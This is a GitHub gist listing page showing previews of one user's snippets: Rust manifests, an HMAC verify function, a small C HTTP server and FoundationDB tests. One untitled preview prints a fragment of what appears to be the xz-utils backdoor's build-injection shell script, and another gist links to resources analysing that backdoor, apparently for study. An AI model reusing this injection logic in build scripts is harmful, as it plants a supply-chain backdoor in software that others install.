Skip to content

Instantly share code, notes, and snippets.

@Akanoa
Akanoa / double_hmac.py
Created August 29, 2022 19:09
double hmac
def verify(self, secret):
identifier = bytes(self.identifier, encoding="utf-8")
secret = bytes(secret, encoding="utf-8")
signature = hmac_sha256(secret, identifier)
for caveat in self.caveats:
signature = hmac_sha256(signature, caveat.encode("utf-8"))
@Akanoa
Akanoa / Cargo.toml
Created September 14, 2022 17:08
Stream<A> -> Stream<B>
[package]
name = "test_data_fusion"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
datafusion = "11.0.0"
foundationdb = {git = "https://github.com/foundationdb-rs/foundationdb-rs.git", features=["embedded-fdb-include", "fdb-7_1"]}
@Akanoa
Akanoa / Cargo.toml
Created September 14, 2022 17:44
Minimal
[package]
name = "test_data_fusion"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
futures = "0.3.24"
futures-util = "0.3.24"
@Akanoa
Akanoa / Cargo.toml
Last active October 31, 2022 18:48
Gitlab SSO
[package]
name = "gitlab-sso"
version = "0.1.0"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies]
actix-rt = "2.7.0"
actix-web = "4.2.1"
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"
eval $zrKcVq
if test -f config.status; then
eval $zrKcSS
@Akanoa
Akanoa / gist:2dc95d505790456f2c5efc9def109cbc
Last active April 6, 2024 17:23
a lot of resources about xz
// patch security note by JiaT75 itself
https://salsa.debian.org/debian/xz-utils/-/blame/b43c3e48bf6097095eef36d44cdbec811074940a/.github/SECURITY.md#L12
// patch m4 file on sid debian
https://salsa.debian.org/debian/xz-utils/-/blame/2024dccf07e81337871814ff6f877a233657e5e4/m4/build-to-host.m4#L63
// backport 5.6.0
https://salsa.debian.org/debian/xz-utils/-/commit/12388833e66a4ddafe08571882ad638a511cf68b?page=10#71e626f2c3f59e8b311f7777379f651145fda3d3
// read payload stage 0 -> stage 1
https://salsa.debian.org/debian/xz-utils/-/blame/2024dccf07e81337871814ff6f877a233657e5e4/m4/build-to-host.m4#L95
// build to host patch
https://www.diffchecker.com/DxS4Wz01/
struct Buffer<const N: usize> {
data: [u8; N]
}
impl<const N: usize> Buffer<N> {
fn new() -> Self {
Self {
data: [0; N]
}
}
@Akanoa
Akanoa / main.c
Last active August 29, 2024 18:24
Mini serveur HHTP statique
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#![cfg(test)]
use foundationdb::api::NetworkAutoStop;
use foundationdb::Database;
use log::{error, info};
use rand::{thread_rng, Rng};
use std::borrow::Cow;
use std::collections::HashMap;
use std::io::Write;
use std::ops::Deref;
[package]
name = "fbd_unit_test"
version = "0.1.0"
edition = "2021"
[dependencies]
foundationdb = { version = "0.9.0", features = ["embedded-fdb-include", "fdb-7_3"] }
smol = "2.0.2"
smol-potat = "1.1.2"
tokio = { version = "1.40.0", features = ["macros", "rt-multi-thread"] }